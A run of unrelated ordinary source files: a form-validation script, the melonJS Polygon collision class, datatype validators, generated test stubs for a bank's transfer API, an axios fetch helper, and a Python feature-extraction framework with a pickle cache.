/* * The MIT License * * Copyright 2015 Juan Francisco Rodríguez. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ //Systemuser elements document.addEventListener('DOMContentLoaded', function () { var name = document.getElementById('systemuser-name'); if (name) { } var email = document.getElementById('systemuser-email'); if (email) { } var newemail = document.getElementById('systemuser-newemail'); if (newemail) { } var usercountry = document.getElementById('systemuser-usercountry'); if (usercountry) { } var userlang = document.getElementById('systemuser-userlang'); if (userlang) { } var password = document.getElementById('systemuser-password'); if (password) { } var currentpassword = document.getElementById('systemuser-currentpassword'); if (currentpassword) { } var newpassword = document.getElementById('systemuser-newpassword'); if (newpassword) { if (newpassword.required) { newpassword.addEventListener('blur', function () { checkEqual(newpassword, confirmnewpassword); }); } } var confirmnewpassword = document.getElementById('systemuser-confirmnewpassword'); if (confirmnewpassword) { if (confirmnewpassword.required) { confirmnewpassword.addEventListener('blur', function () { checkEqual(newpassword, confirmnewpassword); }); } } });
/* * MelonJS Game Engine * Copyright (C) 2011 - 2018 Olivier Biot * http://www.melonjs.org * */ (function () { /** * a polygon Object.<br> * Please do note that melonJS implements a simple Axis-Aligned Boxes collision algorithm, which requires all polygons used for collision to be convex with all vertices defined with clockwise winding. * A polygon is convex when all line segments connecting two points in the interior do not cross any edge of the polygon * (which means that all angles are less than 180 degrees), as described here below : <br> * <center><img src="images/convex_polygon.png"/></center><br> * A polygon's `winding` is clockwise iff its vertices (points) are declared turning to the right. The image above shows COUNTERCLOCKWISE winding. * @class * @extends me.Object * @memberOf me * @constructor * @param {Number} x origin point of the Polygon * @param {Number} y origin point of the Polygon * @param {me.Vector2d[]} points array of vector defining the Polygon */ me.Polygon = me.Object.extend( /** @scope me.Polygon.prototype */ { /** @ignore */ init : function (x, y, points) { /** * origin point of the Polygon * @public * @type {me.Vector2d} * @name pos * @memberOf me.Polygon */ this.pos = new me.Vector2d(); /** * The bounding rectangle for this shape * @ignore * @type {me.Rect} * @name _bounds * @memberOf me.Polygon */ this._bounds = undefined; /** * Array of points defining the Polygon <br> * Note: If you manually change `points`, you **must** call `recalc`afterwards so that the changes get applied correctly. * @public * @type {me.Vector2d[]} * @name points * @memberOf me.Polygon */ this.points = null; /** * The edges here are the direction of the `n`th edge of the polygon, relative to * the `n`th point. If you want to draw a given edge from the edge value, you must * first translate to the position of the starting point. * @ignore */ this.edges = []; /** * a list of indices for all vertices composing this polygon (@see earcut) * @ignore */ this.indices = []; /** * The normals here are the direction of the normal for the `n`th edge of the polygon, relative * to the position of the `n`th point. If you want to draw an edge normal, you must first * translate to the position of the starting point. * @ignore */ this.normals = []; // the shape type this.shapeType = "Polygon"; this.setShape(x, y, points); }, /** @ignore */ onResetEvent : function (x, y, points) { this.setShape(x, y, points); }, /** * set new value to the Polygon * @name setShape * @memberOf me.Polygon * @function * @param {Number} x position of the Polygon * @param {Number} y position of the Polygon * @param {me.Vector2d[]} points array of vector defining the Polygon */ setShape : function (x, y, points) { this.pos.set(x, y); if (!Array.isArray(points)) { return this; } // convert given points to me.Vector2d if required if (!(points[0] instanceof me.Vector2d)) { var _points = this.points = []; points.forEach(function (point) { _points.push(new me.Vector2d(point.x, point.y)); }); } else { // array of me.Vector2d this.points = points; } this.recalc(); this.updateBounds(); return this; }, /** * apply the given transformation matrix to this Polygon * @name transform * @memberOf me.Polygon * @function * @param {me.Matrix2d} matrix the transformation matrix * @return {me.Polygon} Reference to this object for method chaining */ transform : function (m) { var points = this.points; var len = points.length; for (var i = 0; i < len; i++) { m.multiplyVector(points[i]); } this.recalc(); this.updateBounds(); return this; }, /** * apply an isometric projection to this shape * @name toIso * @memberOf me.Polygon * @function * @return {me.Polygon} Reference to this object for method chaining */ toIso : function () { return this.rotate(Math.PI / 4).scale(Math.SQRT2, Math.SQRT1_2); }, /** * apply a 2d projection to this shape * @name to2d * @memberOf me.Polygon * @function * @return {me.Polygon} Reference to this object for method chaining */ to2d : function () { return this.scale(Math.SQRT1_2, Math.SQRT2).rotate(-Math.PI / 4); }, /** * Rotate this Polygon (counter-clockwise) by the specified angle (in radians). * @name rotate * @memberOf me.Polygon * @function * @param {Number} angle The angle to rotate (in radians) * @return {me.Polygon} Reference to this object for method chaining */ rotate : function (angle) { if (angle !== 0) { var points = this.points; var len = points.length; for (var i = 0; i < len; i++) { points[i].rotate(angle); } this.recalc(); this.updateBounds(); } return this; }, /** * Scale this Polygon by the given scalar. * @name scale * @memberOf me.Polygon * @function * @param {Number} x * @param {Number} [y=x] * @return {me.Polygon} Reference to this object for method chaining */ scale : function (x, y) { y = typeof (y) !== "undefined" ? y : x; var points = this.points; var len = points.length; for (var i = 0; i < len; i++) { points[i].scale(x, y); } this.recalc(); this.updateBounds(); return this; }, /** * Scale this Polygon by the given vector * @name scaleV * @memberOf me.Polygon * @function * @param {me.Vector2d} v * @return {me.Polygon} Reference to this object for method chaining */ scaleV : function (v) { return this.scale(v.x, v.y); }, /** * Computes the calculated collision polygon. * This **must** be called if the `points` array, `angle`, or `offset` is modified manually. * @name recalc * @memberOf me.Polygon * @function * @return {me.Polygon} Reference to this object for method chaining */ recalc : function () { var i; var edges = this.edges; var normals = this.normals; var indices = this.indices; // Copy the original points array and apply the offset/angle var points = this.points; var len = points.length; if (len < 3) { throw new me.Polygon.Error("Requires at least 3 points"); } // Calculate the edges/normals for (i = 0; i < len; i++) { if (edges[i] === undefined) { edges[i] = new me.Vector2d(); } edges[i].copy(points[(i + 1) % len]).sub(points[i]); if (normals[i] === undefined) { normals[i] = new me.Vector2d(); } normals[i].copy(edges[i]).perp().normalize(); } // trunc array edges.length = len; normals.length = len; // do not do anything here, indices will be computed by // toIndices if array is empty upon function call indices.length = 0; return this; }, /** * returns a list of indices for all triangles defined in this polygon * @name getIndices * @memberOf me.Polygon * @function * @param {Vector2d[]} a list of vector * @return {me.Polygon} this Polygon */ getIndices : function (x, y) { if (this.indices.length === 0) { var points = this.points; var data = []; // flatten the points vector array for (var i = 0; i < points.length; i++) { // XXX Optimize me data.push(points[i].x); data.push(points[i].y); } this.indices = me.earcut(data); } return this.indices; }, /** * translate the Polygon by the specified offset * @name translate * @memberOf me.Polygon * @function * @param {Number} x x offset * @param {Number} y y offset * @return {me.Polygon} this Polygon */ translate : function (x, y) { this.pos.x += x; this.pos.y += y; this._bounds.translate(x, y); return this; }, /** * translate the Polygon by the specified vector * @name translateV * @memberOf me.Polygon * @function * @param {me.Vector2d} v vector offset * @return {me.Polygon} Reference to this object for method chaining */ translateV : function (v) { this.pos.add(v); this._bounds.translateV(v); return this; }, /** * check if this Polygon contains the specified point * @name containsPointV * @memberOf me.Polygon * @function * @param {me.Vector2d} point * @return {boolean} true if contains */ containsPointV: function (v) { return this.containsPoint(v.x, v.y); }, /** * check if this Polygon contains the specified point <br> * (Note: it is highly recommended to first do a hit test on the corresponding <br> * bounding rect, as the function can be highly consuming with complex shapes) * @name containsPoint * @memberOf me.Polygon * @function * @param {Number} x x coordinate * @param {Number} y y coordinate * @return {boolean} true if contains */ containsPoint: function (x, y) { var intersects = false; var posx = this.pos.x, posy = this.pos.y; var points = this.points; var len = points.length; //http://www.ecse.rpi.edu/Homepages/wrf/Research/Short_Notes/pnpoly.html for (var i = 0, j = len - 1; i < len; j = i++) { var iy = points[i].y + posy, ix = points[i].x + posx, jy = points[j].y + posy, jx = points[j].x + posx; if (((iy > y) !== (jy > y)) && (x < (jx - ix) * (y - iy) / (jy - iy) + ix)) { intersects = !intersects; } } return intersects; }, /** * returns the bounding box for this shape, the smallest Rectangle object completely containing this shape. * @name getBounds * @memberOf me.Polygon * @function * @return {me.Rect} this shape bounding box Rectangle object */ getBounds : function () { return this._bounds; }, /** * update the bounding box for this shape. * @name updateBounds * @memberOf me.Polygon * @function * @return {me.Rect} this shape bounding box Rectangle object */ updateBounds : function () { if (!this._bounds) { this._bounds = new me.Rect(0, 0, 0, 0); } this._bounds.setPoints(this.points); this._bounds.translateV(this.pos); return this._bounds; }, /** * clone this Polygon * @name clone * @memberOf me.Polygon * @function * @return {me.Polygon} new Polygon */ clone : function () { var copy = []; this.points.forEach(function (point) { copy.push(point.clone()); }); return new me.Polygon(this.pos.x, this.pos.y, copy); } }); /** * Base class for Polygon exception handling. * @name Error * @class * @memberOf me.Polygon * @constructor * @param {String} msg Error message. */ me.Polygon.Error = me.Error.extend({ /** * @ignore */ init : function (msg) { this._super(me.Error, "init", [ msg ]); this.name = "me.Polygon.Error"; } }); })();
'use strict'; /** * This module contains defaults for known datatypes. These defaults include Validation, and special serializer steps. */ //regex for uuid: const uuidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; const types = { string: { validator: function(val){ return true; }, serializer: function(val){ return val.toString(); } }, integer: { validator: function(val){ return val === parseInt(val, 10); } }, uuid: { validator: function(val){ return uuidRegex.test(val); } }, timestamp: { //Date() constructor may have been invoked, but the value is not necessarily a valid date: validator: function(val){ return Object.prototype.toString.call(val) === '[object Date]' && val.toString() != 'Invalid Date'; }, //convert any string specified into a Date() object if possible: serializer: function(val){ if (typeof val === 'string'){ return new Date(val); } else return val; } } }; module.exports = types;
/** * GMO Aozora Net Bank Open API * <p>オープンAPI仕様書(PDF版)は下記リンクをご参照ください</p> <div> <div style='display:inline-block;'><a style='text-decoration:none; font-weight:bold; color:#00b8d4;' href='https://gmo-aozora.com/business/service/api-specification.html' target='_blank'>オープンAPI仕様書</a></div><div style='display:inline-block; margin-left:2px; left:2px; width:10px; height:10px; border-top:2px solid #00b8d4; border-right:2px solid #00b8d4; transparent;-webkit-transform:rotate(45deg); transform: rotate(45deg);'></div> </div> <h4 style='margin-top:30px; border-left: solid 4px #1B2F48; padding: 0.1em 0.5em; color:#1B2F48;'>共通仕様</h4> <div style='width:100%; margin:10px;'> <p style='font-weight:bold; color:#616161;'><HTTPリクエストヘッダ></p> <div style='display:table; margin-left:10px; background-color:#29659b;'> <div style='display:table-cell; min-width:130px; padding:9px; border:1px solid #fff; color:#fff;'>項目</div> <div style='display:table-cell; width:85%; padding:9px; border:1px solid #fff; color:#fff;'>仕様</div> </div> <div style='display:table; margin-left:10px;'> <div style='display:table-cell; min-width:130px; padding:9px; border:1px solid #fff; color:#fff; background-color:#29659b;'>プロトコル</div> <div style='display:table-cell; width:85%; padding:9px; border:1px solid #fff; background-color:#f8f8f8;'>HTTP1.1/HTTPS</div> </div> <div style='display:table; margin-left:10px;'> <div style='display:table-cell; min-width:130px; padding:9px; border:1px solid #fff; color:#fff; background-color:#29659b;'>charset</div> <div style='display:table-cell; width:85%; padding:9px; border:1px solid #fff; background-color:#f8f8f8;'>UTF-8</div> </div> <div style='display:table; margin-left:10px;'> <div style='display:table-cell; min-width:130px; padding:9px; border:1px solid #fff; color:#fff; background-color:#29659b;'>content-type</div> <div style='display:table-cell; width:85%; padding:9px; border:1px solid #fff; background-color:#f8f8f8;'>application/json</div> </div> <div style='display:table; margin-left:10px;'> <div style='display:table-cell; min-width:130px; padding:9px; border:1px solid #fff; color:#fff; background-color:#29659b;'>domain_name</div> <div style='display:table-cell; width:85%; padding:9px; border:1px solid #fff; background-color:#f8f8f8;'> 本番環境:api.gmo-aozora.com</br> 開発環境:stg-api.gmo-aozora.com </div> </div> <div style='display:table; margin-left:10px;'> <div style='display:table-cell; min-width:130px; padding:9px; border:1px solid #fff; color:#fff; background-color:#29659b;'>メインURL</div> <div style='display:table-cell; width:85%; padding:9px; border:1px solid #fff; background-color:#f8f8f8;'> https://{domain_name}/ganb/api/corporation/{version}</br> <span style='border-bottom:solid 1px;'>Version:1.x.x</span> の場合</br>  https://api.gmo-aozora.com/ganb/api/corporation/<span style='border-bottom:solid 1px;'>v1</span> </div> </div> </div> <div style='margin:20px 10px;'> <p style='font-weight:bold; color:#616161;'><リクエスト共通仕様></p> <p style='padding-left:20px; font-weight:bold; color:#616161;'>NULLデータの扱い</p> <p style='padding-left:40px;'>パラメータの値が空の場合、またはパラメータ自体が設定されていない場合、どちらもNULLとして扱います</p> </div> <div style='margin:20px 10px;'> <p style='font-weight:bold; color:#616161;'><レスポンス共通仕様></p> <p style='padding-left:20px; font-weight:bold; color:#616161;'>NULLデータの扱い</p> <ul> <li>レスポンスデータ</li> <ul> <li style='list-style-type:none;'>レスポンスデータの値が空の場合または、レスポンスデータ自体が設定されない場合は「項目自体を設定しません」と記載</li> </ul> <li>配列</li> <ul> <li style='list-style-type:none;'>配列の要素の値が空の場合は「空のリスト」と記載</li> <li style='list-style-type:none;'>配列自体が設定されない場合は「項目自体を設定しません」と記載</li> </ul> </ul> </div> <div style='margin:20px 10px;'> <p style='font-weight:bold; color:#616161;'><更新系APIに関する注意事項></p> <ul> <li style='list-style-type:none;'>更新系処理がタイムアウトとなった場合、処理自体は実行されている可能性がありますので、</li> <li style='list-style-type:none;'>再実行を行う必要がある場合は必ず照会系の処理で実行状況を確認してから再実行を行ってください</li> </ul> </div> * * OpenAPI spec version: 1.1.12 * * NOTE: This class is auto generated by the swagger code generator program. * https://github.com/swagger-api/swagger-codegen.git * * Swagger Codegen version: 2.4.2 * * Do not edit the class manually. * */ (function(root, factory) { if (typeof define === 'function' && define.amd) { // AMD. define(['expect.js', '../../src/index'], factory); } else if (typeof module === 'object' && module.exports) { // CommonJS-like environments that support module.exports, like Node. factory(require('expect.js'), require('../../src/index')); } else { // Browser globals (root is window) factory(root.expect, root.GmoAozoraNetBankOpenApi); } }(this, function(expect, GmoAozoraNetBankOpenApi) { 'use strict'; var instance; beforeEach(function() { instance = new GmoAozoraNetBankOpenApi.TransferApi(); }); var getProperty = function(object, getter, property) { // Use getter method if present; otherwise, get the property directly. if (typeof object[getter] === 'function') return object[getter](); else return object[property]; } var setProperty = function(object, setter, property, value) { // Use setter method if present; otherwise, set the property directly. if (typeof object[setter] === 'function') object[setter](value); else object[property] = value; } describe('TransferApi', function() { describe('transferCancelUsingPOST', function() { it('should call transferCancelUsingPOST successfully', function(done) { //uncomment below and update the code to test transferCancelUsingPOST //instance.transferCancelUsingPOST(function(error) { // if (error) throw error; //expect().to.be(); //}); done(); }); }); describe('transferFeeUsingPOST', function() { it('should call transferFeeUsingPOST successfully', function(done) { //uncomment below and update the code to test transferFeeUsingPOST //instance.transferFeeUsingPOST(function(error) { // if (error) throw error; //expect().to.be(); //}); done(); }); }); describe('transferRequestResultUsingGET', function() { it('should call transferRequestResultUsingGET successfully', function(done) { //uncomment below and update the code to test transferRequestResultUsingGET //instance.transferRequestResultUsingGET(function(error) { // if (error) throw error; //expect().to.be(); //}); done(); }); }); describe('transferRequestUsingPOST', function() { it('should call transferRequestUsingPOST successfully', function(done) { //uncomment below and update the code to test transferRequestUsingPOST //instance.transferRequestUsingPOST(function(error) { // if (error) throw error; //expect().to.be(); //}); done(); }); }); describe('transferStatusUsingGET', function() { it('should call transferStatusUsingGET successfully', function(done) { //uncomment below and update the code to test transferStatusUsingGET //instance.transferStatusUsingGET(function(error) { // if (error) throw error; //expect().to.be(); //}); done(); }); }); }); }));
import axios from 'axios'; import { API_QUESTIONS } from '../constants'; import { checkFields } from '../utils'; export function fetchQuestion(questionId) { const request = axios.get(`${API_QUESTIONS}/${questionId}`); const interceptor = (response) => { return new Promise((resolve, reject) => { if(checkFields(response, ['data.success', 'data.question'])) { resolve(response.data.question); } else { reject(); } }); } return request.then(interceptor); }
"""Generic feature extraction framework.""" from __future__ import absolute_import import inspect import logging import os from collections import defaultdict try: import cPickle as pickle except: import pickle import pandas as pd from sutter.lib.helper import recursive_update log = logging.getLogger('sutter.lib.databuilder') class MetaInconsistentException(Exception): """ This exception is thrown when someone tries to set the meta variables for a row inconsistently. For example, setting the `missing` value for one row to `None` and for another one to `0` """ pass class FeatureExtractor(object): """Abstract class defining a feature extraction engine.""" def __init__(self): """Instantiate all of the feature extractor's properties.""" # The variable prefix can be overwritten to prefix all columns of # a certain feature extractor filename = os.path.basename(inspect.getfile(self.__class__)) self.prefix = filename.split('.')[0] self.name = self.__class__.__name__ self._data_store = defaultdict(dict) self._debug_store = defaultdict(dict) self._meta_store = defaultdict(dict) self._test_column_subset = False # enable in tests source = inspect.getsource(self.__class__) self.hash = hash(source) def extract(self): """Override this function.""" raise NotImplementedError def emit_df(self, df): """ Emit all cells in a DataFrame of extracted features. If in testing mode, only emit a subset of columns. """ columns = df.columns if self._test_column_subset: columns = df.columns[:(self._test_column_subset)] for feature in columns: for hsp_acct_study_id, value in df[feature].iteritems(): self.emit(hsp_acct_study_id, feature, value) def emit(self, row_id, feature_id, value, missing=None, debug=None): """ Emit an extracted feature value. NOTE: You probably want to call emit_df() instead! :param row_id: string uniquely identifying the row. :param feature_id: string uniquely identifying the column. :param value: float :param debug: optional debugging information. """ row_id = str(row_id) feature_id = self.prefix + '__' + str(feature_id) self._data_store[row_id][feature_id] = value if debug is not None: self._debug_store[row_id][feature_id] = str(debug) meta = self._meta_store[feature_id] if meta and meta['missing'] != missing: msg = "All rows must have the same missing value" raise MetaInconsistentException(msg) else: meta['missing'] = missing class DatabuilderFramework(object): """Represents a set of feature extractors that can be run and cached.""" def __init__(self, load_state=True): """ Instantiate a DatabuilderFramework. Set load_state=False in tests to save a few minutes of unpickling time. """ self.feature_extractors_ = [] self.cache_path = 'databuilder-cache.pckl' if load_state and os.path.exists(self.cache_path): log.info('loading state from %s ...' % self.cache_path) self._cache = pickle.load(open(self.cache_path)) else: self._cache = defaultdict(dict) def add_feature_extractor(self, feature_extractor): """Add a feature extractor to be run.""" self.feature_extractors_.append(feature_extractor) def run(self, dataset_path, debug_path=None): """Run the feature extractor framework, saving results to the given path.""" features, debug = self.generate_features(self.feature_extractors_) features.to_csv(dataset_path) if debug_path is not None: debug.to_csv(debug_path) def generate_features(self, feature_extractors): """ Run all feature extractors, dump results, and return as a DataFrame. :param feature_extractors: iterable of :class:`FeatureExtractor` objects. """ results, debug, meta = {}, {}, {} n_ext = len(feature_extractors) for i, extractor in enumerate(feature_extractors): info_str = "'{}' ({}/{})".format(extractor.name, i + 1, n_ext) cached_extractor = self._cache[extractor.name] if cached_extractor and extractor.hash == cached_extractor.hash: log.info('from cache: ' + info_str) recursive_update(results, cached_extractor._data_store) recursive_update(meta, cached_extractor._meta_store) else: log.info('running: ' + info_str) extractor.extract() recursive_update(results, extractor._data_store) recursive_update(meta, extractor._meta_store) self._cache[extractor.name] = extractor log.info('extraction complete, assembling dataframe ...') features = pd.DataFrame.from_dict(results, orient='index') debug = pd.DataFrame.from_dict(debug, orient='index') features.index.name = 'hsp_acct_study_id' debug.index.name = 'hsp_acct_study_id' fill_vals = {k: v["missing"] for (k, v) in meta.items() if v["missing"] is not None} features.fillna(fill_vals, inplace=True) log.info('writing state to %s ...' % self.cache_path) with open(self.cache_path, 'wb') as f: pickle.dump(self._cache, f) return features, debug